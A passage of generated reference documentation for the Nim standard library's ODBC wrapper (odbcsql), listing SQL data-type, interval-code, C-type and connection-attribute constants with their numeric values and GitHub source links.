[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L69) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L69) ``` SQL_BINARY = -2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L70) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L70) ``` SQL_VARBINARY = -3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L71) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L71) ``` SQL_LONGVARBINARY = -4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L72) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L72) ``` SQL_BIGINT = -5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L73) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L73) ``` SQL_TINYINT = -6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L74) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L74) ``` SQL_BIT = -7 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L75) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L75) ``` SQL_WCHAR = -8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L76) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L76) ``` SQL_WVARCHAR = -9 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L77) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L77) ``` SQL_WLONGVARCHAR = -10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L78) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L78) ``` SQL_CHAR = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L79) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L79) ``` SQL_NUMERIC = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L80) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L80) ``` SQL_DECIMAL = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L81) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L81) ``` SQL_INTEGER = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L82) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L82) ``` SQL_SMALLINT = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L83) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L83) ``` SQL_FLOAT = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L84) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L84) ``` SQL_REAL = 7 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L85) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L85) ``` SQL_DOUBLE = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L86) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L86) ``` SQL_DATETIME = 9 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L87) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L87) ``` SQL_VARCHAR = 12 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L88) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L88) ``` SQL_TYPE_DATE = 91 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L89) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L89) ``` SQL_TYPE_TIME = 92 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L90) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L90) ``` SQL_TYPE_TIMESTAMP = 93 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L91) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L91) ``` SQL_DATE = 9 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L92) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L92) ``` SQL_TIME = 10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L93) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L93) ``` SQL_TIMESTAMP = 11 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L94) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L94) ``` SQL_INTERVAL = 10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L95) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L95) ``` SQL_GUID = -11 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L96) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L96) ``` SQL_CODE_YEAR = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L100) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L100) ``` SQL_CODE_MONTH = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L101) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L101) ``` SQL_CODE_DAY = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L102) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L102) ``` SQL_CODE_HOUR = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L103) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L103) ``` SQL_CODE_MINUTE = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L104) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L104) ``` SQL_CODE_SECOND = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L105) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L105) ``` SQL_CODE_YEAR_TO_MONTH = 7 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L106) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L106) ``` SQL_CODE_DAY_TO_HOUR = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L107) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L107) ``` SQL_CODE_DAY_TO_MINUTE = 9 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L108) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L108) ``` SQL_CODE_DAY_TO_SECOND = 10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L109) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L109) ``` SQL_CODE_HOUR_TO_MINUTE = 11 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L110) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L110) ``` SQL_CODE_HOUR_TO_SECOND = 12 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L111) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L111) ``` SQL_CODE_MINUTE_TO_SECOND = 13 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L112) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L112) ``` SQL_INTERVAL_YEAR = 101 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L113) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L113) ``` SQL_INTERVAL_MONTH = 102 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L114) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L114) ``` SQL_INTERVAL_DAY = 103 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L115) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L115) ``` SQL_INTERVAL_HOUR = 104 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L116) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L116) ``` SQL_INTERVAL_MINUTE = 105 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L117) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L117) ``` SQL_INTERVAL_SECOND = 106 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L118) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L118) ``` SQL_INTERVAL_YEAR_TO_MONTH = 107 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L119) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L119) ``` SQL_INTERVAL_DAY_TO_HOUR = 108 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L120) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L120) ``` SQL_INTERVAL_DAY_TO_MINUTE = 109 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L121) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L121) ``` SQL_INTERVAL_DAY_TO_SECOND = 110 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L122) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L122) ``` SQL_INTERVAL_HOUR_TO_MINUTE = 111 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L123) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L123) ``` SQL_INTERVAL_HOUR_TO_SECOND = 112 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L124) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L124) ``` SQL_INTERVAL_MINUTE_TO_SECOND = 113 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L125) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L125) ``` SQL_UNICODE = -8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L152) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L152) ``` SQL_UNICODE_VARCHAR = -9 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L153) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L153) ``` SQL_UNICODE_LONGVARCHAR = -10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L154) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L154) ``` SQL_UNICODE_CHAR = -8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L155) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L155) ``` SQL_C_CHAR = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L157) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L157) ``` SQL_C_LONG = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L158) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L158) ``` SQL_C_SHORT = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L159) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L159) ``` SQL_C_FLOAT = 7 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L160) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L160) ``` SQL_C_DOUBLE = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L161) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L161) ``` SQL_C_NUMERIC = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L162) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L162) ``` SQL_C_DEFAULT = 99 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L163) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L163) ``` SQL_SIGNED_OFFSET = -20 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L164) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L164) ``` SQL_UNSIGNED_OFFSET = -22 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L165) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L165) ``` SQL_C_DATE = 9 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L166) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L166) ``` SQL_C_TIME = 10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L167) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L167) ``` SQL_C_TIMESTAMP = 11 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L168) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L168) ``` SQL_C_TYPE_DATE = 91 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L169) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L169) ``` SQL_C_TYPE_TIME = 92 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L170) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L170) ``` SQL_C_TYPE_TIMESTAMP = 93 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L171) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L171) ``` SQL_C_INTERVAL_YEAR = 101 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L172) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L172) ``` SQL_C_INTERVAL_MONTH = 102 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L173) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L173) ``` SQL_C_INTERVAL_DAY = 103 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L174) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L174) ``` SQL_C_INTERVAL_HOUR = 104 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L175) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L175) ``` SQL_C_INTERVAL_MINUTE = 105 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L176) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L176) ``` SQL_C_INTERVAL_SECOND = 106 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L177) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L177) ``` SQL_C_INTERVAL_YEAR_TO_MONTH = 107 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L178) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L178) ``` SQL_C_INTERVAL_DAY_TO_HOUR = 108 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L179) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L179) ``` SQL_C_INTERVAL_DAY_TO_MINUTE = 109 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L180) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L180) ``` SQL_C_INTERVAL_DAY_TO_SECOND = 110 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L181) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L181) ``` SQL_C_INTERVAL_HOUR_TO_MINUTE = 111 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L182) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L182) ``` SQL_C_INTERVAL_HOUR_TO_SECOND = 112 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L183) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L183) ``` SQL_C_INTERVAL_MINUTE_TO_SECOND = 113 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L184) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L184) ``` SQL_C_BINARY = -2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L185) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L185) ``` SQL_C_BIT = -7 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L186) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L186) ``` SQL_C_SBIGINT = -25 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L187) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L187) ``` SQL_C_UBIGINT = -27 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L188) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L188) ``` SQL_C_TINYINT = -6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L189) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L189) ``` SQL_C_SLONG = -16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L190) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L190) ``` SQL_C_SSHORT = -15 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L191) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L191) ``` SQL_C_STINYINT = -26 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L192) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L192) ``` SQL_C_ULONG = -18 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L193) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L193) ``` SQL_C_USHORT = -17 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L194) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L194) ``` SQL_C_UTINYINT = -28 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L195) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L195) ``` SQL_C_BOOKMARK = -18 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L196) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L196) ``` SQL_C_GUID = -11 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L197) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L197) ``` SQL_TYPE_NULL = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L198) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L198) ``` SQL_C_VARBOOKMARK = -2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L206) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L206) ``` SQL_API_SQLDESCRIBEPARAM = 58 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L207) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L207) ``` SQL_NO_TOTAL = -4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L208) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L208) ``` SQL_NAME_LEN = 128 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L235) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L235) ``` SQL_OV_ODBC3 = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L236) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L236) ``` SQL_OV_ODBC2 = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L237) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L237) ``` SQL_ATTR_ODBC_VERSION = 200 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L238) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L238) ``` SQL_DRIVER_NOPROMPT = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L239) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L239) ``` SQL_DRIVER_COMPLETE = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L240) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L240) ``` SQL_DRIVER_PROMPT = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L241) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L241) ``` SQL_DRIVER_COMPLETE_REQUIRED = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L242) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L242) ``` SQL_IS_POINTER = -4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L243) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L243) ``` SQL_IS_UINTEGER = -5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L244) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L244) ``` SQL_IS_INTEGER = -6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L245) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L245) ``` SQL_IS_USMALLINT = -7 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L246) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L246) ``` SQL_IS_SMALLINT = -8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L247) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L247) ``` SQL_FETCH_BOOKMARK = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L248) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L248) ``` SQL_SCROLL_OPTIONS = 44 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L249) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L249) ``` SQL_UB_OFF = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L250) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L250) ``` SQL_UB_ON = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L251) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L251) ``` SQL_UB_DEFAULT = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L252) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L252) ``` SQL_UB_FIXED = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L253) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L253) ``` SQL_UB_VARIABLE = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L254) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L254) ``` SQL_SO_FORWARD_ONLY = 0x00000001 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L255) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L255) ``` SQL_SO_KEYSET_DRIVEN = 0x00000002 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L256) 